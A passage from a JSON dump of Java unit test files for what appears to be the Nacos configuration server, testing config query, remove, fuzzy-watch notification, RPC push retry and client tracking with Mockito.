\n        when(configRocksDbDiskService.getGrayContent(eq(dataId), eq(group), eq(Constants.DEFAULT_NAMESPACE_ID),\n                eq(BetaGrayRule.TYPE_BETA))).thenReturn(content);\n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        //check content&md5\n        assertEquals(content, response.getContent());\n        assertEquals(MD5Utils.md5Hex(content, \"UTF-8\"), response.getMd5());\n        //check flags.\n        assertTrue(response.isBeta());\n        assertNull(response.getTag());\n        \n    }\n    \n    /**\n     * get tag config ,but not found.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetTagNotFound() throws Exception {\n        \n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        String content = \"content_from_tag_withtagÄãºÃ\" + System.currentTimeMillis();\n        ConfigRocksDbDiskService configRocksDbDiskService = Mockito.mock(ConfigRocksDbDiskService.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n        CacheItem cacheItem = new CacheItem(groupKey);\n        cacheItem.getConfigCache().setMd5(MD5Utils.md5Hex(content, \"UTF-8\"));\n        cacheItem.getConfigCache().setEncryptedDataKey(\"key_testGetTag_NotFound\");\n        \n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(cacheItem);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        String specificTag = \"specific_tag\";\n        configQueryRequest.setTag(specificTag);\n        String autoTag = \"auto_tag111\";\n        configQueryRequest.putHeader(VIPSERVER_TAG, autoTag);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        \n        //check content&md5\n        assertNull(response.getContent());\n        assertNull(response.getMd5());\n        assertEquals(CONFIG_NOT_FOUND, response.getErrorCode());\n        assertNull(response.getEncryptedDataKey());\n        \n        //check flags.\n        assertFalse(response.isBeta());\n        assertEquals(response.getTag(), specificTag);\n        \n    }\n    \n    /**\n     * get tag config from local disk.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetTagWithTag() throws Exception {\n        \n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        String content = \"content_from_tag_notdirectreadÄãºÃ\" + System.currentTimeMillis();\n        ConfigRocksDbDiskService configRocksDbDiskService = Mockito.mock(ConfigRocksDbDiskService.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n        CacheItem cacheItem = new CacheItem(groupKey);\n        cacheItem.getConfigCache().setMd5(MD5Utils.md5Hex(content, \"UTF-8\"));\n        cacheItem.getConfigCache().setEncryptedDataKey(\"key_formal\");\n        \n        String specificTag = \"specific_tag\";\n        cacheItem.initConfigGrayIfEmpty(TagGrayRule.TYPE_TAG + \"_\" + specificTag);\n        ConfigCacheGray configCacheGrayTag = cacheItem.getConfigCacheGray()\n                .get(TagGrayRule.TYPE_TAG + \"_\" + specificTag);\n        String tagContent = \"content_from_specific_tag_directreadÄãºÃ\" + System.currentTimeMillis();\n        configCacheGrayTag.setMd5(MD5Utils.md5Hex(tagContent, \"UTF-8\"));\n        configCacheGrayTag.setEncryptedDataKey(\"key_testGetTag_NotDirectRead\");\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(TagGrayRule.TYPE_TAG,\n                TagGrayRule.VERSION, specificTag, -999);\n        configCacheGrayTag.resetGrayRule(GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo));\n        cacheItem.sortConfigGray();\n        //specific tag to get\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(cacheItem);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        configQueryRequest.setTag(specificTag);\n        String autoTag = \"auto_tag\";\n        configQueryRequest.putHeader(VIPSERVER_TAG, autoTag);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        //mock disk read.\n        when(configRocksDbDiskService.getGrayContent(eq(dataId), eq(group), eq(Constants.DEFAULT_NAMESPACE_ID),\n                eq(TagGrayRule.TYPE_TAG + \"_\" + specificTag))).thenReturn(tagContent);\n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        \n        //check content&md5\n        assertEquals(tagContent, response.getContent());\n        assertEquals(MD5Utils.md5Hex(tagContent, \"UTF-8\"), response.getMd5());\n        assertEquals(\"key_testGetTag_NotDirectRead\", response.getEncryptedDataKey());\n        //check flags.\n        assertFalse(response.isBeta());\n        assertEquals(response.getTag(), specificTag);\n        \n    }\n    \n    /**\n     * get tao config of auto tag matchd from local disk.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetTagAutoTag() throws Exception {\n        \n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        String content = \"content_from_tag_notdirectreadÄãºÃ\" + System.currentTimeMillis();\n        ConfigRocksDbDiskService configRocksDbDiskService = Mockito.mock(ConfigRocksDbDiskService.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n        String autoTag = \"auto_tag\";\n        CacheItem cacheItem = new CacheItem(groupKey);\n        cacheItem.initConfigGrayIfEmpty(TagGrayRule.TYPE_TAG + \"_\" + autoTag);\n        cacheItem.getConfigCache().setMd5(MD5Utils.md5Hex(content, \"UTF-8\"));\n        ConfigCacheGray configCacheGrayTag = cacheItem.getConfigCacheGray().get(TagGrayRule.TYPE_TAG + \"_\" + autoTag);\n        String tagContent = \"content_from_specific_tag_directreadÄãºÃ\" + System.currentTimeMillis();\n        configCacheGrayTag.setMd5(MD5Utils.md5Hex(tagContent, \"UTF-8\"));\n        configCacheGrayTag.setEncryptedDataKey(\"key_testGetTag_AutoTag_NotDirectRead\");\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(TagGrayRule.TYPE_TAG,\n                TagGrayRule.VERSION, autoTag, -999);\n        configCacheGrayTag.resetGrayRule(GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo));\n        cacheItem.sortConfigGray();\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(cacheItem);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        requestMeta.getAppLabels().put(VIPSERVER_TAG, autoTag);\n        //mock disk read.\n        when(configRocksDbDiskService.getGrayContent(eq(dataId), eq(group), eq(Constants.DEFAULT_NAMESPACE_ID),\n                eq(TagGrayRule.TYPE_TAG + \"_\" + autoTag))).thenReturn(tagContent);\n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        \n        //check content&md5\n        assertEquals(tagContent, response.getContent());\n        assertEquals(MD5Utils.md5Hex(tagContent, \"UTF-8\"), response.getMd5());\n        assertEquals(\"key_testGetTag_AutoTag_NotDirectRead\", response.getEncryptedDataKey());\n        \n        //check flags.\n        assertFalse(response.isBeta());\n        assertEquals(response.getTag(), autoTag);\n        \n    }\n    \n    /**\n     * get normal config from local disk.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetConfigNotExistAndConflict() throws Exception {\n        \n        String dataId = \"dataId\" + System.currentTimeMillis();\n        String group = \"group\" + System.currentTimeMillis();\n        String tenant = \"tenant\" + System.currentTimeMillis();\n        //test config not exist\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.tryConfigReadLock(GroupKey2.getKey(dataId, group, tenant))).thenReturn(0);\n        final String groupKey = GroupKey2.getKey(dataId, group, tenant);\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(null);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        configQueryRequest.setTenant(tenant);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        assertEquals(CONFIG_NOT_FOUND, response.getErrorCode());\n        assertNull(response.getContent());\n        assertNull(response.getMd5());\n        assertFalse(response.isBeta());\n        assertNull(response.getTag());\n        \n        //test config conflict\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(new CacheItem(groupKey));\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.tryConfigReadLock(GroupKey2.getKey(dataId, group, tenant))).thenReturn(-1);\n        ConfigQueryResponse responseConflict = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        assertEquals(ConfigQueryResponse.CONFIG_QUERY_CONFLICT, responseConflict.getErrorCode());\n        assertNull(responseConflict.getContent());\n        assertNull(responseConflict.getMd5());\n        assertFalse(responseConflict.isBeta());\n        assertNull(responseConflict.getTag());\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigRemoveRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigRemoveRequestHandlerTest {\n    \n    private ConfigRemoveRequestHandler configRemoveRequestHandler;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    private ConfigOperationService configOperationService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        configRemoveRequestHandler = new ConfigRemoveRequestHandler(configInfoPersistService,\n                configInfoGrayPersistService, configOperationService);\n    }\n    \n    @Test\n    void testHandleSuccess() throws Exception {\n        ConfigRemoveRequest configRemoveRequest = new ConfigRemoveRequest();\n        configRemoveRequest.setRequestId(\"requestId\");\n        configRemoveRequest.setGroup(\"group\");\n        configRemoveRequest.setDataId(\"dataId\");\n        configRemoveRequest.setTenant(\"tenant\");\n        RequestMeta meta = new RequestMeta();\n        meta.setClientIp(\"1.1.1.1\");\n        \n        when(configOperationService.deleteConfig(\n                anyString(),\n                anyString(),\n                anyString(),\n                isNull(),\n                eq(\"1.1.1.1\"),\n                isNull(),\n                eq(Constants.RPC))).thenReturn(true);\n\n        ConfigRemoveResponse response = configRemoveRequestHandler.handle(configRemoveRequest, meta);\n\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        verify(configOperationService, times(1)).deleteConfig(\n                anyString(),\n                anyString(),\n                anyString(),\n                isNull(),\n                eq(\"1.1.1.1\"),\n                isNull(),\n                eq(Constants.RPC));\n    }\n    \n    @Test\n    void testHandleException() throws Exception {\n        ConfigRemoveRequest configRemoveRequest = new ConfigRemoveRequest();\n        configRemoveRequest.setRequestId(\"requestId\");\n        configRemoveRequest.setGroup(\"group\");\n        configRemoveRequest.setDataId(\"dataId\");\n        configRemoveRequest.setTenant(\"tenant\");\n        RequestMeta meta = new RequestMeta();\n        meta.setClientIp(\"1.1.1.1\");\n        \n        when(configOperationService.deleteConfig(\n                anyString(),\n                anyString(),\n                anyString(),\n                isNull(),\n                eq(\"1.1.1.1\"),\n                isNull(),\n                eq(Constants.RPC))).thenThrow(new RuntimeException(\"test exception\"));\n        \n        ConfigRemoveResponse response = configRemoveRequestHandler.handle(configRemoveRequest, meta);\n        \n        assertNotEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        assertTrue(response.getMessage().contains(\"test exception\"));\n    }\n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/FuzzyWatchSyncNotifyCallbackTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.common.task.BatchTaskCounter;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.TpsControlManager;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class FuzzyWatchSyncNotifyCallbackTest {\n    \n    @Mock\n    ConnectionManager connectionManager;\n    \n    @Mock\n    ControlManagerCenter controlManagerCenter;\n    \n    @Mock\n    TpsControlManager tpsControlManager;\n    \n    MockedStatic<ControlManagerCenter> controlManagerCenterMockedStatic;\n    \n    @Mock\n    RpcPushService rpcPushService;\n    \n    MockedStatic<ConfigExecutor> tMockedStatic;\n    \n    FuzzyWatchSyncNotifyCallback fuzzyWatchSyncNotifyCallback;\n    \n    BatchTaskCounter taskCounter;\n    \n    @Mock\n    ConfigFuzzyWatchSyncRequest configFuzzyWatchSyncRequest;\n    \n    @AfterEach\n    void after() {\n        tMockedStatic.close();\n        controlManagerCenterMockedStatic.close();\n    }\n    \n    @BeforeEach\n    void setUp() throws IOException {\n        taskCounter = new BatchTaskCounter(5);\n        tMockedStatic = Mockito.mockStatic(ConfigExecutor.class);\n        controlManagerCenterMockedStatic = Mockito.mockStatic(ControlManagerCenter.class);\n        Mockito.when(ControlManagerCenter.getInstance()).thenReturn(controlManagerCenter);\n        Mockito.when(ControlManagerCenter.getInstance().getTpsControlManager()).thenReturn(tpsControlManager);\n        FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTask = new FuzzyWatchSyncNotifyTask(connectionManager,\n                rpcPushService, configFuzzyWatchSyncRequest, taskCounter, 5, \"con1\");\n        fuzzyWatchSyncNotifyCallback = new FuzzyWatchSyncNotifyCallback(fuzzyWatchSyncNotifyTask);\n    }\n    \n    @Test\n    void testOnSuccess() {\n        \n        when(configFuzzyWatchSyncRequest.getSyncType()).thenReturn(FUZZY_WATCH_INIT_NOTIFY);\n        when(configFuzzyWatchSyncRequest.getCurrentBatch()).thenReturn(5);\n        \n        for (int i = 1; i < 5; i++) {\n            taskCounter.batchSuccess(i);\n        }\n        fuzzyWatchSyncNotifyCallback.fuzzyWatchSyncNotifyTask.tryTimes++;\n        fuzzyWatchSyncNotifyCallback.onSuccess();\n        //create a new init finish task;\n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchSyncNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(1));\n    }\n    \n    @Test\n    void testOnFail() {\n        \n        fuzzyWatchSyncNotifyCallback.fuzzyWatchSyncNotifyTask.tryTimes++;\n        fuzzyWatchSyncNotifyCallback.onFail(new RuntimeException());\n        // schedule self ,after 2 sec.\n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchSyncNotifyTask.class), eq(2L),\n                        eq(TimeUnit.SECONDS)), times(1));\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/RpcConfigChangeNotifierTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.ConnectionMeta;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.remote.grpc.GrpcConnection;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.TpsControlManager;\nimport com.alibaba.nacos.plugin.control.tps.request.TpsCheckRequest;\nimport com.alibaba.nacos.plugin.control.tps.response.TpsCheckResponse;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\n\n@ExtendWith(MockitoExtension.class)\nclass RpcConfigChangeNotifierTest {\n    \n    static final String POINT_CONFIG_PUSH = \"CONFIG_PUSH_COUNT\";\n    \n    static final String POINT_CONFIG_PUSH_SUCCESS = \"CONFIG_PUSH_SUCCESS\";\n    \n    static final String POINT_CONFIG_PUSH_FAIL = \"CONFIG_PUSH_FAIL\";\n    \n    @Mock\n    ControlManagerCenter controlManagerCenter;\n    \n    @Mock\n    TpsControlManager tpsControlManager;\n    \n    MockedStatic<ControlManagerCenter> controlManagerCenterMockedStatic;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    private RpcConfigChangeNotifier rpcConfigChangeNotifier;\n    \n    @Mock\n    private ConfigChangeListenContext configChangeListenContext;\n    \n    @Mock\n    private RpcPushService rpcPushService;\n    \n    @Mock\n    private ConnectionManager connectionManager;\n    \n    @BeforeEach\n    void setUp() {\n        \n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(eq(\"nacos.config.push.maxRetryTime\"), eq(Integer.class), anyInt()))\n                .thenReturn(3);\n        controlManagerCenterMockedStatic = Mockito.mockStatic(ControlManagerCenter.class);\n        Mockito.when(ControlManagerCenter.getInstance()).thenReturn(controlManagerCenter);\n        Mockito.when(ControlManagerCenter.getInstance().getTpsControlManager()).thenReturn(tpsControlManager);\n        rpcConfigChangeNotifier = new RpcConfigChangeNotifier();\n        ReflectionTestUtils.setField(rpcConfigChangeNotifier, \"configChangeListenContext\", configChangeListenContext);\n        ReflectionTestUtils.setField(rpcConfigChangeNotifier, \"rpcPushService\", rpcPushService);\n        ReflectionTestUtils.setField(rpcConfigChangeNotifier, \"connectionManager\", connectionManager);\n        \n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n        controlManagerCenterMockedStatic.close();\n    }\n    \n    @Test\n    void testOnDataEvent() throws InterruptedException {\n        \n        final String groupKey = GroupKey2.getKey(\"nacos.internal.tps.control_rule_1\", \"nacos\", \"tenant\");\n        \n        List<String> betaIps = new ArrayList<>();\n        \n        betaIps.add(\"1.1.1.1\");\n        Set<String> mockConnectionIds = new HashSet<>();\n        mockConnectionIds.add(\"con1\");\n        mockConnectionIds.add(\"con2\");\n        mockConnectionIds.add(\"con3\");\n        GrpcConnection mockConn1 = Mockito.mock(GrpcConnection.class);\n        GrpcConnection mockConn3 = Mockito.mock(GrpcConnection.class);\n        //mock con1 push normal\n        Mockito.when(connectionManager.getConnection(eq(\"con1\"))).thenReturn(mockConn1);\n        Mockito.when(mockConn1.getMetaInfo())\n                .thenReturn(new ConnectionMeta(\"con1\", \"192.168.0.1\", \"192.168.0.2\", 34567, 9848, \"GRPC\", \"2.2.0\", null, new HashMap<>()));\n        //mock con1 noy exist\n        Mockito.when(connectionManager.getConnection(eq(\"con2\"))).thenReturn(null);\n        Mockito.when(connectionManager.getConnection(eq(\"con3\"))).thenReturn(mockConn3);\n        Mockito.when(mockConn3.getMetaInfo())\n                .thenReturn(new ConnectionMeta(\"con3\", \"192.168.0.1\", \"192.168.0.2\", 34567, 9848, \"GRPC\", \"2.2.0\", null, new HashMap<>()));\n        Mockito.when(configChangeListenContext.getListeners(eq(groupKey))).thenReturn(mockConnectionIds);\n        Mockito.when(configChangeListenContext.getConfigListenState(anyString(), anyString())).thenReturn(new ConfigListenState(\"111\"));\n        //mock push tps passed\n        Mockito.when(tpsControlManager.check(any(TpsCheckRequest.class))).thenReturn(new TpsCheckResponse(true, 200, \"success\"));\n        \n        rpcConfigChangeNotifier.onEvent(new LocalDataChangeEvent(groupKey));\n        //wait rpc push executed.\n        Thread.sleep(50L);\n        //expect rpc push task run.\n        Mockito.verify(rpcPushService, times(1))\n                .pushWithCallback(eq(\"con1\"), any(ConfigChangeNotifyRequest.class), any(RpcConfigChangeNotifier.RpcPushCallback.class),\n                        any(Executor.class));\n        Mockito.verify(rpcPushService, times(1))\n                .pushWithCallback(eq(\"con3\"), any(ConfigChangeNotifyRequest.class), any(RpcConfigChangeNotifier.RpcPushCallback.class),\n                        any(Executor.class));\n        \n    }\n    \n    @Test\n    void testRpcCallBack() {\n        MockedStatic<ConfigExecutor> configExecutorMockedStatic = Mockito.mockStatic(ConfigExecutor.class);\n        try {\n            RpcConfigChangeNotifier.RpcPushTask task = Mockito.mock(RpcConfigChangeNotifier.RpcPushTask.class);\n            \n            Mockito.when(task.getConnectionId()).thenReturn(\"testconn1\");\n            Mockito.when(connectionManager.getConnection(eq(\"testconn1\"))).thenReturn(Mockito.mock(GrpcConnection.class));\n            ConfigChangeNotifyRequest notifyRequest = new ConfigChangeNotifyRequest();\n            notifyRequest.setDataId(\"d1\");\n            notifyRequest.setGroup(\"g1\");\n            Mockito.when(task.getNotifyRequest()).thenReturn(notifyRequest);\n            //mock task not overtimes and receive exception on callback\n            Mockito.when(task.isOverTimes()).thenReturn(false);\n            Mockito.when(task.getTryTimes()).thenReturn(2);\n            RpcConfigChangeNotifier.RpcPushCallback rpcPushCallback = new RpcConfigChangeNotifier.RpcPushCallback(task, tpsControlManager,\n                    connectionManager);\n            rpcPushCallback.onFail(new RuntimeException());\n            \n            //expect config push fail be recorded.\n            Mockito.verify(tpsControlManager, times(1)).check(any(TpsCheckRequest.class));\n            //expect schedule this task next retry times\n            configExecutorMockedStatic.verify(\n                    () -> ConfigExecutor.scheduleClientConfigNotifier(any(RpcConfigChangeNotifier.RpcPushTask.class), eq(2 * 2L),\n                            eq(TimeUnit.SECONDS)));\n            //mock\n            rpcPushCallback.onSuccess();\n            //expect config push success be recorded.\n            Mockito.verify(tpsControlManager, times(2)).check(any(TpsCheckRequest.class));\n            \n            //mock task is over times\n            Mockito.when(task.isOverTimes()).thenReturn(true);\n            rpcPushCallback.onFail(new NullPointerException());\n            Mockito.verify(connectionManager, times(1)).unregister(eq(\"testconn1\"));\n            \n        } finally {\n            configExecutorMockedStatic.close();\n        }\n        \n    }\n    \n    @Test\n    void testRegisterTpsPoint() {\n        \n        rpcConfigChangeNotifier.registerTpsPoint();\n        Mockito.verify(tpsControlManager, Mockito.times(1)).registerTpsPoint(eq(POINT_CONFIG_PUSH));\n        Mockito.verify(tpsControlManager, Mockito.times(1)).registerTpsPoint(eq(POINT_CONFIG_PUSH_SUCCESS));\n        Mockito.verify(tpsControlManager, Mockito.times(1)).registerTpsPoint(eq(POINT_CONFIG_PUSH_FAIL));\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ClientTrackServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(SpringExtension.class)\n@WebAppConfiguration\nclass ClientTrackServiceTest {\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void before() {\n        ClientTrackService.clientRecords.clear();\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\"))\n                .thenReturn(\"nacos\");\n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n    }\n    \n    @Test\n    void testTrackClientMd5() {\n        String clientIp = \"1.1.1.1\";\n        String dataId = \"com.taobao.session.xml\";\n        String group = \"online\";\n        String groupKey = GroupKey2.getKey(dataId, group);\n        String md5 = \"xxxxxxxxxxxxx\";\n        String content = \"test\";\n        \n        ConfigCacheService.updateMd5(groupKey, md5, content, System.currentTimeMillis(), \"\");\n        \n        ClientTrackService.trackClientMd5(clientIp, groupKey, md5);\n        ClientTrackService.trackClientMd5(clientIp, groupKey, md5);\n        \n        assertTrue(ClientTrackService.isClientUptodate(clientIp).get(groupKey));\n        assertEquals(1, ClientTrackService.subscribeClientCount());\n        assertEquals(1, ClientTrackService.subscriberCount());\n        \n        //服务端数据更新\n        ConfigCacheService.updateMd5(groupKey, md5 + \"111\", content, System.currentTimeMillis(), \"\");\n        assertFalse(ClientTrackService.isClientUptodate(clientIp).get(groupKey));\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/ConfigCacheServiceTest.java",
